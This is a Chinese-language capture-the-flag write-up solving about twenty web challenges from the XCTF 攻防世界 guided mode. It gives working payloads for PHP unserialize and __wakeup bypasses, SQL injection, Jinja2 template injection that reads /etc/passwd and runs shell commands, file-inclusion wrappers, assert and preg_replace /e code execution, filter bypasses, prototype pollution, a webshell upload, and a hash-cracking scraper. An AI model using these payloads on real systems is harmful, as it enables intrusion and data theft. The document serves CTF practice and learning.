攻防世界 Web 引导模式 第二页
Web_php_unserialize
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } // 需要绕过__wakeup魔术方法,答案在fl4g.php function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } } if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); // 过滤了 o:数字: 或 c:数字: 不区分大小写。可以通过添加+来绕过 if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else { @unserialize($var); } } else { highlight_file("index.php"); } ?>
poc:
<?php class Demo { private $file = 'fl4g.php'; } $a = serialize(new Demo()); //echo $a; // O:4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";} // 在4前添加+来绕过正则、修改个数值来绕过__wakeup $b = str_replace("O:4:","O:+4:",$a); $c = str_replace(":1:{",":2:{",$b); //echo $c; // O:+4:"Demo":2:{s:10:" Demo file";s:8:"fl4g.php";} // 再把它进行base64编码 echo base64_encode($c); // TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
payload:/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}
inget

没有任何回显,要一个一个试。payload:/?id=1' or 1=1 --+

cyberpeace{8a8583b1cdd42f00f2e79e32dd26d60e}
supersqli

也是之前uu上做过的题,没有过滤handler。堆叠注入
查表:1';show tables;

flag在这个数字表中,可以用handler直接查询出来:1';handler `1919810931114514` open;handler `1919810931114514` read first;handler `1919810931114514` close;

另一种方法:因为1' or 1=1#后端已经存在的sql语句查询的是words表,所以可以将数字表名改为words,原来的words改为其它名称,再修改原先数字表中的flag字段为data并添加id字段,最后再利用1' or 1=1#将原先数字表中的所有内容查询出来:1';rename table words to words_two;rename table `1919810931114514` to words;alter table words change flag data varchar(255);alter table words add id int default 111;

flag{c168d583ed0d4d7196967b28cbd0b5e9}
web2
<?php $miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws"; function encode($str){ // 反转字符串 $_o=strrev($str); // echo $_o; // 遍历反转后的字符串 for($_0=0;$_0<strlen($_o);$_0++){ // 一次截取一个字符 $_c=substr($_o,$_0,1); // 将截取到的字符转为ascii码并+1 $__=ord($_c)+1; // 将+1后的ascii码重新转为字符 $_c=chr($__); // 最后拼接起来 $_=$_.$_c; } // 返回经过b64编码、反转、rot13编码后的字符串 return str_rot13(strrev(base64_encode($_))); } highlight_file(__FILE__); /* 逆向加密算法,解密$miwen就是flag */ ?>
exp:
<?php $miwen = "a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws"; function decode($str) { $str = base64_decode(strrev(str_rot13($str))); for ($i=0; $i<strlen($str); $i++) { $a = substr($str,$i,1); $b = ord($a)-1; $c = chr($b); $_ = $_.$c; } return strrev($_); } echo decode($miwen);
flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}
fileclude
WRONG WAY! <?php include("flag.php"); highlight_file(__FILE__); if(isset($_GET["file1"]) && isset($_GET["file2"])) { $file1 = $_GET["file1"]; $file2 = $_GET["file2"]; if(!empty($file1) && !empty($file2)) { if(file_get_contents($file2) === "hello ctf") { include($file1); } } else die("NONONO"); }
利用filter和data伪协议来读取flag.php文件的源码和写入指定的hello ctf,payload:/?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data://text/plain,hello ctf


cyberpeace{3ebe3886c067aa96bf5a44df83701b15}
fileinclude

查看源码

没有任何过滤

要加个伪协议读源码:language=php://filter/read=convert.base64-encode/resource=flag

cyberpeace{fb688c1ea29413d416e5a1208700dbfe}
Web_python_template_injection

提示python模版注入,在url上尝试:${7*7}

{{7*7}}

{{7*'7'}}

jinja2模版,fenjing:


手动注入也可以(看不懂可以参考:从零学习flask模板注入 - FreeBuf网络安全行业门户)。寻找可利用的模块:{{''.__class__.__mro__[2].__subclasses__()}}

<type 'file'>文件读取:{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}

<class 'site._Printer'>命令执行:{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir(".")}}、{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen("ls").read()}}


文件读取当前目录下的fl4g:{{''.__class__.__mro__[2].__subclasses__()[40]('./fl4g').read()}}

或者用命令执行来获取:{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen("cat ./fl4g").read()}}这里不用system是因为它只会返回状态码

用内置函数也是如此:{{get_flashed_messages.__globals__["__builtins__"]['__import__']('os').popen('cat ./fl4g').read()}}、{{url_for.__globals__["__builtins__"]['eval']("__import__('os').popen('cat ./fl4g').read()")}}


ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}
file_include


尝试base64编码读取文件,发现有内容被过滤了

经过尝试发现:read、base64、encode、string......被过滤


但是convert.iconv没有被过滤:php://filter/convert.iconv.a.b/resource=flag.php,抓包爆破

有很多编码都可以读取出来
cyberpeace{2b4e9fb43bc226eb2aa73a3ffe3a3e0f}
easyphp

需要满足key1和key2的条件才能获得flag。
key1:参数a的整数部分要大于六百万并且长度要小于等于3,用科学计数法绕过即可、参数b的md5值的最后六位要等于8b184b,爆破一下即可:
import hashlib for i in range(1,100000000): print(f"正在尝试:{i}") a = hashlib.md5(str(i).encode('utf-8')).hexdigest() if a[-6:] == "8b184b": print(i,' | ',a) break
53724 | dbab43dabe09e16edf25ac77798b184b
payload:/?a=9e9&b=53724

key2:需要参数c传入一个json格式的数据并且解密后的参数c类型为数组、数组c中的m键的值不能是数字并且要大于2022,利用字符串与数字进行弱比较时的特性绕过即可、n键必须为数组类型以及其中的元素要有两个并且第一个元素也是数组类型、最后要求array_search函数能在n键的值中找到"DGGJ"字符串但是后续遍历数组n的所有值时又不能出现"DGGJ",这就要利用array_search函数中字符串与数字进行弱相等比较时:字符串会转为0的特性:只需要数组n中另一个不是数组类型的元素为0即可绕过(数组不会与不同类型的内容进行比较。"DGGJ"==0 --> 0==0 --> true)
<?php $c = array("m"=>"3333a","n"=>array(array(1),0)); echo json_encode($c);
payload:/?a=9e9&b=53724&c={"m":"3333a","n":[[1],0]}

cyberpeace{36ad1f79b3c07f458307db7418fdada7}
mfw

提示用了git,猜测有git泄漏,dirmap扫一下

用githack下载泄漏的文件:python githack.py http://61.147.171.103:64826/.git/

查看index.php,得到关键信息:
<?php if (isset($_GET['page'])) { $page = $_GET['page']; } else { $page = "home"; } $file = "templates/" . $page . ".php"; // I heard '..' is dangerous! assert("strpos('$file', '..') === false") or die("Detected hacking attempt!"); // TODO: Make this look nice assert("file_exists('$file')") or die("That file doesn't exist!"); ?>
重点:assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
绕过:通过')来闭合前面的strpos('以及//来注释掉后面的内容,中间再用.来连接想要执行的命令(因为.是字符串连接运算符,所以php会计算它两边的值)

payload:/?page=').system('cat ./templates/flag.php');//

查看源码

cyberpeace{c900b33786c73fb20406018c4496af5d}
Cat

输入baidu.com

换成127.0.0.1

命令执行:127.0.0.1|ls

被过滤了,先爆破一下:看看有哪些字符是被过滤的

除了 @ - . / 这四个字符外,其他的都被过滤了

其中的@和/在输入后会被编码,尝试在url上输入宽字节字符:%df%5c

将此段代码保存并打开:

这是python Web框架 django的报错信息,说明此框架的编码是gbk。
比赛时的提示:RTFM of PHP CURL===>>read the fuck manul of PHP CURL???
通过php curl手册可以得知一个利用点:从PHP5.2.0开始到PHP5.5.0之前;可以用@配合绝对路径来读取文件内容。

从上面的报错信息中可以得知:项目的根目录是/opt/api。
而在django项目中一般有一个名为settings.py的文件,它通常是设置默认使用的网站数据库的路径,它的所在位置也可以从报错信息中获取:

在api文件夹下,结合已知的根目录:/opt/api/api/settings.py
读取它:/?url=@/opt/api/api/settings.py

依旧保存打开

没找到flag,继续读取数据库的信息(一开始的报错信息中也能找到数据库的路径):/?url=@/opt/api/database.sqlite3

保存打开,得到:

WHCTF{yoooo_Such_A_G00D_@}
easyupload

.user.ini可以上传。上传的文件内容中不能出现php、要加个gif图片头、需要改MIME

上传d.jpg

访问uploads目录中已经存在index.php

蚁剑连接

cyberpeace{c62ea9f08ec9b2899399b48692b90e97}
ics-05

这次换成设备维护中心了

查看源码

伪协议拿源码:/index.php?page=php://filter/read=convert.base64-encode/resource=index.php

解码得:

关键代码:

利用点:当preg_replace正则表达式中带有/e修饰符时,replacement参数就会被当做PHP代码执行。它原本的作用是将目标字符串subject参数中的所有匹配到pattern参数的值全部替换为replacement参数。
payload:/index.php?pat=/aaa/e&rep=system(%22ls%22);&sub=aaa
说明:只有pat在sub中匹配到了字符串才能用得上rep,从而使/e发挥作用:执行rep中的代码。
X-Forwarded-For: 127.0.0.1

查看当前目录及子目录下所有包含flag的文件名:/index.php?pat=/aaa/e&rep=system(%22find%20-name%20*flag*%22);&sub=aaa

查看flag:/index.php?pat=/aaa/e&rep=system(%22cat%20./s3chahahaDir/flag/flag.php%22);&sub=aaa

cyberpeace{575e0d4bfafa96a09d183114a27b4aee}
easytornado

uu上做过的题。

参数filename传/fllllllllllllag

参数filehash传md5(cookie_secret+md5(filename))
filename已经知道了,只差cookie_secret:通过配置字典{{handler.settings}}来获取
payload:/error?msg={{handler.settings}}

进行md5加密
import hashlib filename = "/fllllllllllllag" cookie_secret = "4724afb7-13d4-46d3-8c77-f3af0dbc7705" ans = hashlib.md5((cookie_secret+hashlib.md5(filename.encode("utf-8")).hexdigest()).encode("utf-8")).hexdigest() print(ans)
payload:/file?filename=/fllllllllllllag&filehash=720bbc55b4ed70f06878e5a561b6cde5

flag{3f39aea39db345769397ae895edb9c70}
shrine
import flask import os app = flask.Flask(__name__) app.config['FLAG'] = os.environ.pop('FLAG') @app.route('/') def index(): return open(__file__).read() @app.route('/shrine/<path:shrine>') def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__': app.run(debug=True)
也是uu上做过的题,flag在{{config}}中,但是config被过滤了,()也被过滤了,常规做不行了。但是可以通过访问flask内置函数的全局变量来获取当前应用实例的config。
url_for或get_flashed_messages
/shrine/{{url_for.__globals__}}

/shrine/{{url_for.__globals__['current_app'].config}}

/shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

flag{shrine_is_good_ssti}
lottery

翻译:

需要通过猜对数字来获取美元,对的数字越多给的美元就越多

攒够美元后,即可购买flag

输入用户名后,就可以开始猜数字了。
既然附件已经给源码了,那就直接看了,在api.php中发现关键信息:

既然是弱比较的话:我们就可以通过抓包把原先的7个数字修改为7个true的方式来大大增加猜对的概率(布尔值在与数字进行弱比较时,只有0表示false、其它数字都表示true)


以此往复,直至攒够美元购买flag

cyberpeace{563d5b33f222a2dc65dd996bfd3e58c1}
fakebook

uu上做过的题,快速过一遍。先注册一个用户:

来到用户页面进行sql注入:/view.php?no=1 order by 4#

四个字段数
查回显:/view.php?no=-1 union/*!select*/ 1,2,3,4

2
查库:/view.php?no=-1 union/*!select*/ 1,database(),3,4

fakebook
查表:/view.php?no=-1 union/*!select*/ 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="fakebook"

users
查字段:/view.php?no=-1 union/*!select*/ 1,group_concat(column_name),3,4 from information_schema.columns where table_name="users" and table_schema="fakebook"

查字段内容:/view.php?no=-1 union/*!select*/ 1,group_concat(no,username,passwd,data),3,4 from users

正常做以及详解:BUUCTF Web 第二页_buuctf 第二页web详细解析-ZEEKLOG博客
由于数据库的用户是root,所以可以直接将flag.php读取出来:
查看用户:/view.php?no=-1 union/*!select*/ 1,user(),3,4

查看flag:/view.php?no=-1 union/*!select*/ 1,load_file("/var/www/html/flag.php"),3,4

flag{c1e552fdf77049fabf65168f22f7aeab}
unseping
<?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($ip){
exec($ip, $result);
var_dump($result);
}
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
关键:call_user_func_array()会动态调用方法,只需要传method参数为ping、$args为想要执行的命令即可(要传数组类型),命令可以用单/双引号绕过。
poc:
<?php class ease { private $method="ping"; private $args=array("l''s"); } echo base64_encode(serialize(new ease()));
post:ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsJydzIjt9fQ==

空格用${IFS}绕过:
<?php class ease { private $method="ping"; private $args=array("l''s\${IFS}fl''ag_1s_here"); } echo base64_encode(serialize(new ease()));
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCcncyR7SUZTfWZsJydhZ18xc19oZXJlIjt9fQ==

正斜杠也要绕过:
<?php class ease { private $method="ping"; private $args=array('ca""t${IFS}f""lag_1s_here$(printf${IFS}"\57")fl""ag_831b69012c67b35f.p""hp'); } echo base64_encode(serialize(new ease()));
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3NDoiY2EiInQke0lGU31mIiJsYWdfMXNfaGVyZSQocHJpbnRmJHtJRlN9Ilw1NyIpZmwiImFnXzgzMWI2OTAxMmM2N2IzNWYucCIiaHAiO319

cyberpeace{bea296a44cd1b78f5836d463f9e73894}
wife_wife

注册一个账号并登录进去

普通用户登录进去的页面没有任何有用的信息。
参考:JavaScript 原型链污染 | Drunkbaby's Blog
app.post('/register', (req, res) => { let user = JSON.parse(req.body) if (!user.username || !user.password) { return res.json({ msg: 'empty username or password', err: true }) } if (users.filter(u => u.username == user.username).length) { return res.json({ msg: 'username already exists', err: true }) } if (user.isAdmin && user.inviteCode != INVITE_CODE) { user.isAdmin = false return res.json({ msg: 'invalid invite code', err: true }) } let newUser = Object.assign({}, baseUser, user) users.push(newUser) res.json({ msg: 'user created successfully', err: false }) })
Object.assign()这个方法可以触发原型链污染(它会把用户输入的属性直接复制到空对象{}中,也包括__proto__)。默认情况下,所有对象的原型都是Object.prototype,而普通对象的__proto__可以直接指向这个原型链根,以此来修改其中的对象。(js属性查找顺序:先找对象自身属性,再找__proto__指向的原型对象,直到Object.prototype。)
回到注册账号时的页面:

抓包

得到管理员身份的账号后,再去登录:

CatCTF{test_flag_h0w_c@n_I_l1ve_w1th0ut_nilou}
题目名称-文件包含

和之前的file_include一样的题目,抓包爆破:
两个攻击payload都是一样的
check.php

flag.php

cyberpeace{f4c104c0e7c5ee4c5d7107e3f15ec70e}
FlatScience

目录扫描:python dirsearch.py -u http://61.147.171.35:52876/ --timeout=2 -x 429

访问robots.txt

访问admin.php

应该需要想办法获取admin的密码,登录后才能得到flag
访问login.php

查看源码:

访问/login.php?debug

密码进行sha1加密前拼接了Salz!字符串,数据库是SQLite3,与mysql注入有些不同,抓包进行sql注入

判断列数:usr=-1' order by 3--+&pw=1 usr=-1' order by 2--+&pw=1


2个字段
查看回显位:usr=-1' union select 1,2--+&pw=1

第2个字段是回显位
查表:usr=-1' union select 1,name from sqlite_master limit 0,1--+&pw=1

usr=-1' union select 1,name from sqlite_master limit 1,1--+&pw=1

Users表、sqlite_autoindex_Users_1表
查字段:usr=-1' union select 1,sql from sqlite_master limit 1,1--+&pw=1

Users表的字段有:id,name,password,hint
查看admin的password:usr=-1' union select 1,password from Users where name = "admin"--+&pw=1

得到sha1加密后的密文:3fab54a50e770d830c0416df817567662a9dc85c
查看admin的hint:usr=-1' union select 1,hint from Users where name = "admin"--+&pw=1


提示:那些pdf文件中的某个单词就是密码。要依照从password中获取的sha1密文来找。
exp:
import requests import re import time import pdfplumber import os import hashlib from concurrent.futures import ThreadPoolExecutor,as_completed from tqdm import tqdm url = "http://61.147.171.103:62214/" pdf_url_all = [] pdf_file_name_preg = re.compile(r"[a-fA-F0-9]{32,32}.pdf") num_pwd_preg = re.compile(r"\d/") sha1_crypto_admin_password = "3fab54a50e770d830c0416df817567662a9dc85c" all_pdf_file_paths = r"C:\Users\Anno\Desktop\pdf" all_pdf_text_words = [] def get_pdf_url(url): resp = requests.get(url + "index.html") if resp.status_code == 404: print("[404]网页不存在!") return None else: print(f"[?]正在搜集{url}index.html中的pdf文件网址。") num_pwd_all = num_pwd_preg.findall(resp.text) pdf_file_name_all = pdf_file_name_preg.findall(resp.text) for pdf_file_name in pdf_file_name_all: pdf_url_all.append(url + pdf_file_name) print(f"[OK]{url}index.html中的所有pdf文件网址已搜集完毕!") if num_pwd_all: for num_pwd in num_pwd_all: get_pdf_url(url + num_pwd) else: return None def download_pdf_file(pdf_url_all): for pdf_url in pdf_url_all: resp_pdf = requests.get(pdf_url) pdf_file = open(r"C:\Users\Anno\Desktop\pdf\\" + pdf_url[-36:], "wb") pdf_file.write(resp_pdf.content) print(f"[OK]{pdf_url[-36:]}文件保存完毕!") return None def collect_all_pdf_file_words(pdf_file): print(f"[?]正在搜集{pdf_file.name}文件中的单词...") pdf = pdfplumber.open(pdf_file.path) for page in pdf.pages: page_text = page.extract_text() all_pdf_text_words.extend(page_text.split(" ")) print(f"[OK]{pdf_file.name}文件中的单词搜集完毕!") return None def find_right_word(word): word_Salz = word + "Salz!" sha1_word = hashlib.sha1(word_Salz.encode("utf-8")).hexdigest() if sha1_word == sha1_crypto_admin_password: print(f"[ANS]admin_password_is:{word}") return None if __name__ == '__main__': start_time = time.time() # 第一步:获取所有pdf文件的网址并通过URL下载下来 get_pdf_url(url) print(f"[get_pdf_url]所有pdf文件的网址:{pdf_url_all}") download_pdf_file(pdf_url_all) print(f"[download_pdf_file]所有pdf文件下载完毕!") # 第二步:搜集所有pdf文件中的单词并查找符合sha1密文的单词 # with ThreadPoolExecutor(max_workers=10) as thread_exe_one: # all_pdf_file = [f for f in os.scandir(all_pdf_file_paths)] # all_thread_one = {thread_exe_one.submit(collect_all_pdf_file_words,pdf_file): pdf_file for pdf_file in all_pdf_file} # for result in tqdm(as_completed(all_thread_one),total=len(all_pdf_file)): # result.result() # print(f"[collect_all_pdf_file_words]所有pdf文件的单词:{all_pdf_text_words}") # with ThreadPoolExecutor(max_workers=10) as thread_exe_two: # all_thread_two = {thread_exe_two.submit(find_right_word,word): word for word in all_pdf_text_words} # for result in tqdm(as_completed(all_thread_two),total=len(all_pdf_text_words)): # result.result() end_time = time.time() print(f"[OVER]程序结束,耗时(秒):{end_time-start_time}")

ThinJerboa

flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}